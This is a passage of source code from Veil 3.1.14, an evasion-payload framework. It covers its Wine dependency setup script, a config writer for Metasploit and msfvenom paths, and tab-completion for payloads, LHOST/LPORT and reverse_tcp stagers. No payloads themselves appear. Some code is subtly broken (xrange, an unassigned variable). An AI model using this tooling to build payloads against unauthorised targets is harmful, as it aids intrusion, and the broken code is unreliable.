"${winedir}/drive_c/Python34/python.exe" "${winedrive}/Python34/Scripts/pywin32_postinstall.py" "-silent" "-quiet" "-install" >/dev/null ## Due to pycrypto-2.6.1.win32-py3.4.exe not exacting cleaning, this will falsely trigger #tmp="$?" #if [[ "${tmp}" -ne "0" ]]; then # msg="Failed to install ${FILE}... Exit code: ${tmp}" # errors="${errors}\n${msg}" # echo -e " ${RED}[ERROR] ${msg}${RESET}\n" #fi ## Clean up sudo rm -rf "PLATLIB/" "SCRIPTS/" else sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${FILE}" tmp="$?" if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install ${FILE}... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi done popd >/dev/null ## Install Python (OS) extra setup files (PyInstaller) echo -e "\n\n [*] ${YELLOW}Installing (OS) Python's PyInstaller (via TAR)${RESET}\n" if [ "${force}" == "false" ] \ && [ -f "${veildir}/PyInstaller-3.2.1/pyinstaller.py" ]; then echo -e "\n\n [*] ${YELLOW}PyInstaller v3.2 is already installed... Skipping...${RESET}\n" else ## Install PyInstaller now file="${dependenciesdir}/PyInstaller-3.2.1.tar" shasum="$( openssl dgst -sha256 "${file}" | cut -d' ' -f2 )" if [ "${shasum}" == "4727314ddf95bfe4aed28b3b98e0175d469a36aff5eb7e2af3c3d2fffd662d2d" ]; then sudo rm -rf "${veildir}/PyInstaller-*" sudo mkdir -p "${veildir}" sudo tar -C "${veildir}" -xf "${file}" else msg="Bad hash for PyInstaller.tar.gz!" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi ## Use wine based pip to install dependencies echo -e "\n\n [*] ${YELLOW}Installing (Wine) Python's PIP pefile${RESET}\n" sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "--upgrade" "pip==19.1.*" tmp="$?" if [[ "${tmp}" -ne "0" ]]; then msg="Failed to run (wine) Python pip... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "future" tmp="$?" if [[ "${tmp}" -ne "0" ]]; then msg="Failed to run (wine) Python pip future... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "pefile" tmp="$?" if [[ "${tmp}" -ne "0" ]]; then msg="Failed to run (wine) Python pip pefile... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi ## Function done echo -e "\n\n [*] ${YELLOW}Finished (Wine + OS) Python dependencies installation${RESET}\n" } ## Install Go dependencies (Requires v1.2 or higher) func_go_deps(){ ## Download Go from source, cd into it, build it, and prep it for making windows payloads help for this setup came from: ## http://www.limitlessfx.com/cross-compile-golang-app-for-windows-from-linux.html echo -e "\n\n [*] ${YELLOW}Initializing Go installation...${RESET}\n" pushd "/tmp/" >/dev/null sudo mkdir -p /usr/src/go/ if [ ! -f "/var/lib/veil-evasion/go/bin/go" ]; then if [ "${arch}" == "x86_64" ]; then echo -e "\n\n [*] ${YELLOW}Installing Go x86_64 (via TAR)${RESET}\n" file="${dependenciesdir}/go1.7.5.linux-amd64.tar.gz" file_hash="2e4dd6c44f0693bef4e7b46cc701513d74c3cc44f2419bf519d7868b12931ac3" elif [ "${arch}" == "x86" ] \ || [ "${arch}" == "i686" ]; then echo -e "\n\n [*] ${YELLOW}Installing Go x86 (via TAR)${RESET}\n" file="${dependenciesdir}/go1.7.5.linux-386.tar.gz" file_hash="432cb92ae656f6fe1fa96a981782ef5948438b6da6691423aae900918b1eb955" else ## Dead code. We really shouldn't end up here, but, you never know... echo -e "${RED}[ERROR]: Architecture ${arch} is not supported!\n${RESET}\n" exit 1 fi shasum="$( openssl dgst -sha256 "${file}" | cut -d' ' -f2 )" if [ "${shasum}" == "${file_hash}" ]; then sudo rm -rf "${veildir}/go/" sudo mkdir -p "${veildir}" sudo tar -C "${veildir}" -xf "${file}" else if [[ "${tmp}" -ne "0" ]]; then msg="Bad hash for ${file}!" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi #export GOROOT=$( echo "${veildir}/go" ) #sudo rm -f /usr/bin/go #sudo ln -s /usr/local/go/bin/go /usr/bin/go fi ## Done popd >/dev/null ## Function done echo -e "\n\n [*] ${YELLOW}Finished Go installation${RESET}\n" } func_autoit_deps(){ echo -e "\n\n [*] ${YELLOW}Initializing AutoIT installation...${RESET}\n" echo -e "\n\n [*] ${YELLOW}Installing (Wine) AutoIT${RESET}\n" echo -e " [*] ${BOLD} Next -> Next -> Next -> Finished! ...Overwrite if prompt (use default values)${RESET}\n" sleep 1s [ "${silent}" == "true" ] \ && arg=" /S" \ || arg="" sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${dependenciesdir}/autoit-v3-setup.exe" ${arg} tmp="$?" if [[ "${tmp}" -ne "0" ]]; then msg="Failed to run (wine) AutoIT.. Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi ## Function done echo -e "\n\n [*] ${YELLOW}Finished AutoIT installation${RESET}\n" } ## Install (Wine) Ruby dependencies func_ruby_deps(){ echo -e "\n\n [*] ${YELLOW}Initializing (Wine) Ruby installation...${RESET}\n" pushd "${dependenciesdir}/" >/dev/null ## Install Ruby under Wine echo -e "\n\n [*] ${YELLOW}Installing (Wine) Ruby & dependencies${RESET}\n" echo -e " [*] ${BOLD} Next -> Next -> Next -> Finished! ...Overwrite if prompt (use default values)${RESET}\n" sleep 1s sudo -u "${trueuser}" mkdir -p "${winedrive}/Ruby187/lib/ruby/gems/1.8/" [ "${silent}" == "true" ] \ && arg=" /silent" \ || arg="" sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${dependenciesdir}/rubyinstaller-1.8.7-p371.exe" ${arg} tmp="$?" if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install (Wine) Ruby.exe... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi ## Install the OCRA Gem under Wine echo -e "\n\n [*] ${YELLOW}Installing (Wine) Ruby OCRA gem...${RESET}\n" ## Write batch script to disk echo "${gempath} install --force --local ocra-1.3.6.gem" > /tmp/ocrainstall.bat sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine cmd /c /tmp/ocrainstall.bat tmp="$?" if [[ "${tmp}" -ne "0" ]]; then msg="Failed to run (wine) Ruby OCRA.. Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi ## Unzip the Ruby dependencies echo -e "\n\n [*] ${YELLOW}Extracting (Wine) Ruby dependencies...${RESET}\n" sudo -u "${trueuser}" unzip -q -o -d "${winedrive}/Ruby187/lib/ruby/gems/1.8/" "${dependenciesdir}/ruby_gems-1.8.zip" popd >/dev/null ## Function done echo -e "\n\n [*] ${YELLOW}Finished Ruby installation${RESET}\n" } ## Update Veil config func_update_config(){ echo -e "\n\n [*] ${YELLOW}Updating Veil configuration...${RESET}\n" cd "${rootdir}/config/" ## SUDOINCEPTION! (There is method behind the, at first glance, madness) ## The SUDO_USER environment variable of the actual user doesn't get passed on to the python interpreter properly, ## so when we call "sudo python update-config.py", it thinks the user calling it, it's interpretation of SUDO_USER is root, ## and that's not what we want. Look at this fake process tree with what the env variables would be... ## - |_ sudo setup.sh (${USER}=root ${SUDO_USER}=yourname) ## - | sudo -u yourname sudo python update-config.py (${USER}=root ${SUDO_USER}=yourname) ## snip 8<- - - - - - - - - - - - - - The alternative below without "sudo -u username"... ## - | sudo python update-config.py (${USER}=root ${SUDO_USER}=root) ## snip 8<- - - - - - - - - - - - - - And thus it would have screwed up the ${winedir} dir for the user. if [ -e /etc/veil/ ]; then echo -e " [*] ${YELLOW}Detected current Veil settings. Removing...${RESET}\n" sudo rm -rf /etc/veil/ fi sudo -u "${trueuser}" sudo ./update-config.py sudo mkdir -p "${outputdir}" ## Chown output directory if [ -d "${outputdir}" ]; then echo -e "\n\n [*] ${YELLOW}Ensuring this account (${trueuser}) owns veil output directory (${outputdir})...${RESET}\n" sudo chown -R "${trueuser}" "${outputdir}" else msg="Internal Issue. Couldn't create output folder..." errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi ## Ensure that user completely owns the wine directory echo -e " [*] ${YELLOW}Ensuring this account (${trueuser}) has correct ownership of ${winedir}${RESET}\n" sudo chown -R "${trueuser}":"${userprimarygroup}" "${winedir}" ## Function done echo -e "\n\n [*] ${YELLOW}Finished Veil configuration...${RESET}\n" } ######################################################################## ## Print banner func_title ## Check architecture if [ "${arch}" != "x86" ] \ && [ "${arch}" != "i686" ] \ && [ "${arch}" != "x86_64" ]; then echo -e " ${RED}[ERROR] Your architecture ${arch} is not supported!${RESET}\n\n" exit 1 fi ## Check OS if [ "${os}" == "\"void\"" ]; then echo -e " [I] ${YELLOW}Void Linux ${osversion} ${arch} detected...${RESET}\n" elif [ "${os}" == "kali" ]; then echo -e " [I] ${YELLOW}Kali Linux ${osversion} ${arch} detected...${RESET}\n" elif [ "${os}" == "parrot" ]; then echo -e " [I] ${YELLOW}Parrot Security ${osversion} ${arch} detected...${RESET}\n" elif [ "${os}" == "ubuntu" ]; then echo -e " [I] ${YELLOW}Ubuntu ${osversion} ${arch} detected...${RESET}\n" if [[ "${osmajversion}" -lt "15" ]]; then echo -e " ${RED}[ERROR]: Veil is only supported On Ubuntu 15.10 or higher!${RESET}\n" exit 1 fi elif [ "${os}" == "linuxmint" ]; then echo -e " [I] ${YELLOW}Linux Mint ${osversion} ${arch} detected...${RESET}\n" elif [ "${os}" == "deepin" ]; then echo -e " [I] ${YELLOW}Deepin ${osversion} ${arch} detected...${RESET}\n" if [[ "${osmajversion}" -lt "15" ]]; then echo -e " ${RED}[ERROR]: Veil is only supported On Deepin 15 or higher!${RESET}\n" exit 1 fi elif [ "${os}" == '"elementary"' ]; then echo -e " [I] ${YELLOW}Elementary OS ${osversion} ${arch} detected...${RESET}\n" elif [ "${os}" == "debian" ]; then if [[ "${osmajversion}" -lt "8" ]]; then echo -e " ${RED}[ERROR]: Veil is only supported on Debian 8 (Jessie) or higher!${RESET}\n" exit 1 fi elif [ "${os}" == "fedora" ]; then echo -e " [I] ${YELLOW}Fedora ${osversion} ${arch} detected...${RESET}\n" [[ -z "$osmajversion" ]] && osmajversion=$osversion if [[ "${osmajversion}" -lt "22" ]]; then echo -e " ${RED}[ERROR]: Veil is only supported on Fedora 22 or higher!${RESET}\n" exit 1 fi else os="$( awk -F '["=]' '/^ID=/ {print $2}' /etc/os-release 2>&- | cut -d'.' -f1 )" if [ "${os}" == "arch" ]; then echo -e " [I] ${YELLOW}Arch Linux ${arch} detected...${RESET}\n" elif [ "${os}" == "blackarch" ]; then echo -e " [I] ${YELLOW}BlackArch Linux ${arch} detected...${RESET}\n" elif [ "${os}" == "manjaro" ]; then echo -e " [I] ${YELLOW}Manjaro Linux ${arch} detected...${RESET}\n" elif [ "${os}" == "debian" ]; then echo -e " [!] ${YELLOW}Debian Linux sid/TESTING ${arch} *possibly* detected..." echo -e " If you are not currently running Debian Testing, you should exit this installer!${RESET}\n" else echo -e " ${RED}[ERROR] Unable to determine OS information. Exiting...${RESET}\n" exit 1 fi fi ## Trap ctrl-c trap ctrl_c INT ## Menu case statement while [[ "${#}" -gt 0 && ."${1}" == .-* ]]; do opt="${1}"; shift; case "$(echo ${opt} | tr '[:upper:]' '[:lower:]')" in ## Make sure not to nag the user -s|--silent) silent=true ;; ## Force clean install of (Wine) Python dependencies ## Bypass environment checks (func_check_env) to force install dependencies -f|--force) force=true ;; ## Print help menu -h|--help) echo "" echo " [Usage]....: ${0} [OPTIONAL]" echo " [Optional].:" echo " -f|--force = Force install of any dependencies" echo " -s|--silent = Automates the installation" echo " -h|--help = Show this help menu" echo "" exit 0 ;; ## Run standard setup "") ;; *) echo -e "\n\n ${RED}[ERROR] Unknown option: ${BOLD}$1${RESET}\n" exit 1 ;; esac done ## Run setup, maybe with -f and/or -s func_check_env if [ "${errors}" != "" ]; then echo -e " ${RED}[ERROR] There was issues installing the following:${RESET}\n" echo -e " ${BOLD}${errors}${RESET}\n" fi file="./Veil.py --setup" echo -e "\n\n [I] ${BOLD}If you have any errors${RESET} running Veil, run: '${BOLD}${file}' and select the nuke the wine folder option${RESET}\n" echo -e "\n\n [I] ${GREEN}Done!${RESET}\n" exit 0 Veil-3.1.14/config/update-config.py000077500000000000000000000254661365017756100170760ustar00rootroot00000000000000#!/usr/bin/env python3 """ Take an options dictionary and update /etc/veil/settings.py Able to call this by doing: Veil.py --config """ import platform, os, sys, pwd def generateConfig(options): # General config = """#!/usr/bin/python ################################################################################################## # # Veil configuration file # # Run 'Veil.py --config' to automatically set all these options to their defaults. # ################################################################################################## ################################################# # # General system options # ################################################# """ print( "\n Veil Configuration:" ) # OS config += '# OS to use (Kali/Backtrack/Debian/Windows)\n' config += 'OPERATING_SYSTEM="' + options['OPERATING_SYSTEM'] + '"\n\n' print( " [*] OPERATING_SYSTEM = " + options['OPERATING_SYSTEM'] ) # OS (Linux) config += '# Specific Linux distro\n' # Check /etc/issue for the exact linux distro issue = open("/etc/issue").read() if issue.startswith("Debian"): config += 'DISTRO="Debian"\n\n' else: config += 'DISTRO="Linux"\n\n' # Terminal clearing config += '# Terminal clearing method to use (use "false" to disable it)\n' config += 'TERMINAL_CLEAR="' + options['TERMINAL_CLEAR'] + '"\n\n' print( " [*] TERMINAL_CLEAR = " + options['TERMINAL_CLEAR'] ) # Veil's path config += '# Veil install path\n' config += 'VEIL_PATH="' + options['VEIL_PATH'] + '"\n\n' print( " [*] VEIL_PATH = " + options['VEIL_PATH'] ) # Wine's path config += '# Wine environment\n' config += 'WINEPREFIX="' + options["WINEPREFIX"] + '"\n\n' print( " [*] WINEPREFIX = " + options["WINEPREFIX"] ) # Temp path config += '# Path to temporary directory\n' config += 'TEMP_PATH="' + options["TEMP_PATH"] + '"\n\n' print( " [*] TEMP_PATH = " + options["TEMP_PATH"] ) # Metasploit Framework's path config += '# The path to the metasploit framework, for example: %s\n' % ( options['METASPLOIT_PATH'] ) config += 'METASPLOIT_PATH="' + options['METASPLOIT_PATH'] + '"\n\n' print( " [*] METASPLOIT_PATH = " + options['METASPLOIT_PATH'] ) # msfvenom's path config += '# The path to msfvenom for shellcode generation purposes\n' config += 'MSFVENOM_PATH="' + options["MSFVENOM_PATH"] + '"\n\n' print( " [*] MSFVENOM_PATH = " + options["MSFVENOM_PATH"] ) # msfvenom's options config += '# Default options to pass to msfvenom for shellcode creation\n' config += 'MSFVENOM_OPTIONS="' + options['MSFVENOM_OPTIONS'] + '"\n\n' print( " [*] MSFVENOM_OPTIONS = " + options['MSFVENOM_OPTIONS'] ) # PyInstaller's path config += '# The path to pyinstaller, for example: %s\n' % ( options['PYINSTALLER_PATH'] ) config += 'PYINSTALLER_PATH="' + options['PYINSTALLER_PATH'] + '"\n\n' print( " [*] PYINSTALLER_PATH = " + options['PYINSTALLER_PATH'] ) # GoLang's path config += '# The path to pyinstaller, for example: %s\n' % ( options['GOLANG_PATH'] ) config += 'GOLANG_PATH="' + options['GOLANG_PATH'] + '"\n\n' print( " [*] GOLANG_PATH = " + options['GOLANG_PATH']) # Padding between sections print ( "\n" ) # Veil-Evasion config += """ ################################################# # # Veil-Evasion specific options # ################################################# """ print( "\n Veil-Evasion Configuration:" ) # Payload path source_path = os.path.expanduser( options["PAYLOAD_SOURCE_PATH"] ) config += '# Path to output the source of payloads\n' config += 'PAYLOAD_SOURCE_PATH="' + source_path + '"\n\n' print( " [*] PAYLOAD_SOURCE_PATH = " + source_path ) # Compile path compiled_path = os.path.expanduser( options["PAYLOAD_COMPILED_PATH"] ) config += '# Path to output compiled payloads\n' config += 'PAYLOAD_COMPILED_PATH="' + compiled_path +'"\n\n' print( " [*] PAYLOAD_COMPILED_PATH = " + compiled_path ) # Handler path handler_path = os.path.expanduser( options["HANDLER_PATH"] ) config += '# Where to generate a msf handler script\n' config += 'HANDLER_PATH="' + handler_path + '"\n\n' print( " [*] HANDLER_PATH = " + handler_path ) # Hash List file hash_path = os.path.expanduser( options["HASH_LIST"] ) config += '# Running hash list of all payloads generated\n' config += 'HASH_LIST="' + hash_path + '"\n\n' print( " [*] HASH_LIST = " + hash_path ) # Create the output compiled path if it doesn't exist if not os.path.exists( handler_path ): os.makedirs( handler_path ) print( " [I] Path Created: '" + handler_path ) # Create the output source path if it doesn't exist if not os.path.exists( source_path ): os.makedirs( source_path ) print( " [I] Path Created: '" + source_path ) # Create the output compiled path if it doesn't exist if not os.path.exists( compiled_path ): os.makedirs( compiled_path ) print( " [I] Path Created: '" + compiled_path ) # Save config if platform.system() == "Linux": # create the output compiled path if it doesn't exist if not os.path.exists( "/etc/veil/" ): os.makedirs( "/etc/veil/" ) print( " [I] Path '/etc/veil/' Created" ) f = open( "/etc/veil/settings.py", 'w' ) f.write( config ) f.close() os.chmod( "/etc/veil/settings.py", 0o0755 ) print( " [I] Configuration File Written To: '/etc/veil/settings.py'\n" ) else: print( " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" ) sys.exit() if __name__ == '__main__': options = {} # Check for root access if os.geteuid() != 0: print( "\n [!] ERROR: Not root. Requesting...\n" ) os.execvp( "sudo", ["sudo"] + ["python"] + sys.argv ) sys.exit() if platform.system() == "Linux": # Check /etc/issue for the exact linux distro issue = open( "/etc/issue" ).read() # General options options["METASPLOIT_PATH"] = "/opt/metasploit-framework/embedded/framework/" options["MSFVENOM_OPTIONS"] = "" options["MSFVENOM_PATH"] = "/usr/local/bin/" options["OPERATING_SYSTEM"] = "Linux" options["PYINSTALLER_PATH"] = "/var/lib/veil/PyInstaller-3.2.1/" # via /config/setup.sh options["GOLANG_PATH"] = "/var/lib/veil/go/" # via /config/setup.sh options["TEMP_PATH"] = "/tmp/" options["TERMINAL_CLEAR"] = "clear" options["WINEPREFIX"] = "/var/lib/veil/wine/" VEIL_PATH = "/".join( os.getcwd().split( "/" )[:-1] ) + "/" options["VEIL_PATH"] = VEIL_PATH # Veil-Evasion specific options options["HANDLER_PATH"] = "/var/lib/veil/output/handlers/" options["HASH_LIST"] = "/var/lib/veil/output/hashes.txt" options["PAYLOAD_COMPILED_PATH"] = "/var/lib/veil/output/compiled/" options["PAYLOAD_SOURCE_PATH"] = "/var/lib/veil/output/source/" # Kali if issue.startswith( ("Kali", "Parrot") ): options["OPERATING_SYSTEM"] = "Kali" options["METASPLOIT_PATH"] = "/usr/share/metasploit-framework/" options["MSFVENOM_PATH"] = "/usr/bin/" options["TERMINAL_CLEAR"] = "false" # BackTrack elif issue.startswith( "BackTrack" ): options["OPERATING_SYSTEM"] = "BackTrack" options["METASPLOIT_PATH"] = "/opt/metasploit/msf3/" options["MSFVENOM_PATH"] = "/opt/metasploit/msf3/" # Check the paths are correct (WINEPREFIX) while not os.path.isdir( options["TEMP_PATH"] ): path = input( " [>] Please enter the directory of your system's temp path (e.g. /tmp/): " ) path = str(path) options["TEMP_PATH"] = path if not options["TEMP_PATH"].endswith('/'): options["TEMP_PATH"] += "/" # Check the paths are correct (METASPLOIT_PATH) while not os.path.isdir( options["METASPLOIT_PATH"] ): path = input( " [>] Please enter the directory of the Metasploit Framework (e.g. %s): " % ( options["METASPLOIT_PATH"] ) ) path = str(path) options["METASPLOIT_PATH"] = path if not options["METASPLOIT_PATH"].endswith('/'): options["METASPLOIT_PATH"] += "/" # Check the paths are correct (MSFVENOM_PATH) while not os.path.isfile( options["MSFVENOM_PATH"] + "/msfvenom" ): path = input( " [>] Please enter the directory of msfvenom (e.g. /usr/bin/): " ) path = str(path) options["MSFVENOM_PATH"] = path if not options["MSFVENOM_PATH"].endswith('/'): options["MSFVENOM_PATH"] += "/" # Check the paths are correct (VEIL_PATH) while not os.path.isdir( options["VEIL_PATH"] ): print( "\n [i] Can't find Veil's path? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) ) path = str(path) path = input( " [>] Please enter the directory to Veil (e.g. /opt/veil/): " ) options["VEIL_PATH"] = path if not options["VEIL_PATH"].endswith('/'): options["VEIL_PATH"] += "/" # Check the paths are correct (PYINSTALLER_PATH) while not os.path.isdir( options["PYINSTALLER_PATH"] ): print( "\n [i] Can't find PyInstaller? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) ) path = input( " [>] Please enter the directory of PyInstaller (e.g. %s): " % ( options["PYINSTALLER_PATH"] ) ) path = str(path) options["PYINSTALLER_PATH"] = path if not options["PYINSTALLER_PATH"].endswith('/'): options["PYINSTALLER_PATH"] += "/" # Check the paths are correct (WINEPREFIX) while not os.path.isdir( options["WINEPREFIX"] ): print( "\n [i] Can't find WINE profile? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) ) path = input( " [>] Please enter the directory of Veil's WINE profile (e.g. %s): " % ( options["WINEPREFIX"] ) ) path = str(path) options["WINEPREFIX"] = path if not options["WINEPREFIX"].endswith('/'): options["WINEPREFIX"] += "/" # Check the paths are correct (GOLANG_PATH) while not os.path.isdir( options["GOLANG_PATH"] ): print( "\n [i] Can't find GoLang? Run: %s --force --silent" % ( os.path.abspath("./config/setup.sh" ) ) ) path = input( " [>] Please enter the directory of GoLang (e.g. %s): " % ( options["GOLANG_PATH"] ) ) path = str(path) options["GOLANG_PATH"] = path if not options["GOLANG_PATH"].endswith('/'): options["GOLANG_PATH"] += "/" # Unsupported platform... else: print( " [!] ERROR: PLATFORM NOT CURRENTLY SUPPORTED" ) sys.exit() generateConfig( options ) Veil-3.1.14/lib/000077500000000000000000000000001365017756100132605ustar00rootroot00000000000000Veil-3.1.14/lib/__init__.py000066400000000000000000000000251365017756100153660ustar00rootroot00000000000000__all__ = ['common'] Veil-3.1.14/lib/common/000077500000000000000000000000001365017756100145505ustar00rootroot00000000000000Veil-3.1.14/lib/common/__init__.py000066400000000000000000000000741365017756100166620ustar00rootroot00000000000000__all__ = ['completer', 'helpers', 'messages', 'orchestra'] Veil-3.1.14/lib/common/completer.py000066400000000000000000000500301365017756100171120ustar00rootroot00000000000000""" Contains any classes used for tab completion. Reference: http://stackoverflow.com/questions/5637124/tab-completion-in-pythons-raw-input """ # Import Modules import readline import subprocess import re import os import sys # Try to find and import the settings.py config file try: sys.path.append("/etc/veil/") import settings except ImportError: print( "\n [!] ERROR #1-7: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() class none(object): def complete(self, args): return [None] class MainMenuCompleter(object): """ Class used for tab completion of the main Controller menu Takes a list of available commands, and loaded payload modules. """ def __init__(self, cmds, payloads): self.commands = [cmd for cmd, desc in cmds.items()] self.payloads = payloads def complete_use(self, args): """Complete payload/module""" res = [] payloads = [] for name, payload in self.payloads.items(): payloads.append(name) # return all payloads if we just have "use" if len(args[0].split("/")) == 1: res = [m for m in payloads if m.startswith(args[0])] + [None] else: # get the language lang = args[0].split("/")[0] # get the rest of the paths rest = "/".join(args[0].split("/")[1:]) payloads = [] for name, payload in self.payloads.items(): parts = name.split("/") # iterate down the split parts so we can handle the nested payload structure for x in range(0, len(parts)): # if the first part of the iterated payload matches the language, append it if parts[x] == lang: payloads.append("/".join(parts[x + 1:])) res = [lang + '/' + m + ' ' for m in payloads if m.startswith(rest)] + [None] return res def complete_info(self, args): """Complete payload/module""" res = [] payloads = [] for (name, payload) in self.payloads: payloads.append(name) # return all payloads if we just have "use" if len(args[0].split("/")) == 1: res = [ m for m in payloads if m.startswith(args[0])] + [None] else: # get the language lang = args[0].split("/")[0] # get the rest of the paths rest = "/".join(args[0].split("/")[1:]) payloads = [] for (name, payload) in self.payloads: parts = name.split("/") # iterate down the split parts so we can handle the nested payload structure for x in xrange(len(parts)): # if the first part of the iterated payload matches the language, append it if parts[x] == lang: payloads.append("/".join(parts[ x+ 1:])) res = [lang + '/' + m + ' ' for m in payloads if m.startswith(rest)] + [None] return res def complete(self, text, state): "Generic readline completion entry point." buffer = readline.get_line_buffer() line = readline.get_line_buffer().split() # show all commands if not line: return [c + ' ' for c in self.commands][state] # account for last argument ending in a space RE_SPACE = re.compile('.*\s+$', re.M) if RE_SPACE.match(buffer): line.append('') # resolve command to the implementation functions (above) cmd = line[0].strip() if cmd in self.commands: impl = getattr(self, 'complete_%s' % cmd) args = line[1:] if args: return (impl(args) + [None])[state] return [cmd + ' '][state] results = [c + ' ' for c in self.commands if c.startswith(cmd)] + [None] return results[state] class PayloadCompleter(object): def __init__(self, cmds, payload): self.commands = [cmd for cmd, desc in cmds.items()] self.payload = payload def _listdir(self, root): """ Complete a directory path. """ res = [] for name in os.listdir(root): path = os.path.join(root, name) if os.path.isdir(path): name += os.sep res.append(name) return res def _complete_path(self, path=None): """ Complete a file path. """ if not path: return self._listdir('.') dirname, rest = os.path.split(path) tmp = dirname if dirname else '.' res = [os.path.join(dirname, p) for p in self._listdir(tmp) if p.startswith(rest)] # more than one match, or single match which does not exist (typo) if len(res) > 1 or not os.path.exists(path): return res # resolved to a single directory, so return list of files below it if os.path.isdir(path): return [os.path.join(path, p) for p in self._listdir(path)] # exact file match terminates this completion return [path + ' '] def complete_path(self, args): """ Entry point for path completion. """ if not args: return self._complete_path('.') # treat the last arg as a path and complete it return self._complete_path(args[-1]) def complete_set(self, args): """ Complete all options for the 'set' command. """ res = [] if hasattr(self.payload, 'required_options'): options = [k for k in sorted(self.payload.required_options.keys())] if args[0] != '': if args[0].strip() == "LHOST": # autocomplete the IP for LHOST if settings.DISTRO == 'Debian': ip_output = subprocess.getoutput("ip a").split("\n")[8][9:].split('/')[0] ip_output = subprocess.getoutput("/sbin/ifconfig eth0").split("\n")[1].split()[1] if 'addr' in ip_output: ip_output = ip_output[5:] res = [ip_output] + [None] elif args[0].strip() == "LPORT": # autocomplete the common MSF port of 4444 for LPORT res = ["4444"] + [None] elif args[0].strip() == "original_exe": # tab-complete a file path for an exe res = self.complete_path(args) elif args[0].strip().endswith("_source"): # tab-complete a file path for an exe res = self.complete_path(args) # elif args[0].strip() == "other path-needing option": # # tab-complete a file path # res = self.complete_path(args) else: # complete the command in the list ONLY if it's partially completed res = [o + ' ' for o in options if (o.startswith(args[0]) and o != args[0])] + [None] else: # return all required_options available to 'set' res = [o + ' ' for o in options] + [None] return res def complete(self, text, state): """ Generic readline completion entry point. """ buffer = readline.get_line_buffer() line = readline.get_line_buffer().split() # show all commands if not line: return [c + ' ' for c in self.commands][state] # account for last argument ending in a space RE_SPACE = re.compile('.*\s+$', re.M) if RE_SPACE.match(buffer): line.append('') # resolve command to the implementation functions (above) cmd = line[0].strip() if cmd in self.commands: impl = getattr(self, 'complete_%s' % cmd) args = line[1:] if args: return (impl(args) + [None])[state] return [cmd + ' '][state] results = [c + ' ' for c in self.commands if c.startswith(cmd)] + [None] return results[state] class MSFCompleter(object): """ Class used for tab completion of metasploit payload selection. Used in ./modules/common/shellcode.py Takes a payloadTree next dictionary as an instantiation argument, of the form payloadTree = {"windows" : {"meterpreter", "shell",...}, "linux" : {...}} """ def __init__(self, payloadTree): self.payloadTree = payloadTree def complete(self, text, state): buffer = readline.get_line_buffer() line = readline.get_line_buffer().split() # extract available platforms from the payload tree platforms = [k for k, v in self.payloadTree.items()] # show all platforms if not line: return [p + '/' for p in platforms][state] # account for last argument ending in a space RE_SPACE = re.compile('.*\s+$', re.M) if RE_SPACE.match(buffer): line.append('') i = line[0].strip() # complete the platform if len(i.split("/")) == 1: results = [p + '/' for p in platforms if p.startswith(i)] + [None] return results[state] # complete the stage, including singles (no /) elif len(i.split("/")) == 2: platform = i.split("/")[0] stage = i.split("/")[1] stages = [k for k, v in self.payloadTree[platform].items()] results = [platform + "/" + s + '/' for s in stages if s.startswith(stage) and type(self.payloadTree[platform][s]) is dict] singles = [platform + "/" + s + ' ' for s in stages if s.startswith(stage) and type(self.payloadTree[platform][s]) is not dict] results += singles + [None] return results[state] # complete the stage (for x64) or stager (for x86) elif len(i.split("/")) == 3: platform = i.split("/")[0] stage = i.split("/")[1] stager = i.split("/")[2] stagers = [k for k, v in self.payloadTree[platform][stage].items()] results = [platform + "/" + stage + '/' + s + '/' for s in stagers if s.startswith(stager) and type(self.payloadTree[platform][stage][s]) is dict] singles = [platform + "/" + stage + '/' + s + ' ' for s in stagers if s.startswith(stager) and type(self.payloadTree[platform][stage][s]) is not dict] results += singles + [None] return results[state] # complete the stager for x64 (i.e. reverse_tcp) elif len(i.split("/")) == 4: platform = i.split("/")[0] arch = i.split("/")[1] stage = i.split("/")[2] stager = i.split("/")[3] stagers = [k for k, v in self.payloadTree[platform][arch][stage].items()] results = [platform + "/" + arch + "/" + stage + '/' + s for s in stagers if s.startswith(stager)] + [None] return results[state] else: return "" class IPCompleter(object): """ Class used for tab completion of local IP for LHOST. """ def __init__(self): pass """ If blank line, fill in the local IP """ def complete(self, text, state): buffer = readline.get_line_buffer() line = readline.get_line_buffer().split() if not line: if settings.DISTRO == 'Debian': ip[state] = subprocess.getoutput("ip a").split("\n")[8][9:].split('/')[0] else: ip = [subprocess.getoutput("/sbin/ifconfig eth0").split("\n")[1].split()[1]] + [None] if 'addr' in ip[state]: ip[state] = ip[state][5:] return ip[state] else: return text[state] class MSFPortCompleter(object): """ Class used for tab completion of the default port (4444) for MSF payloads """ def 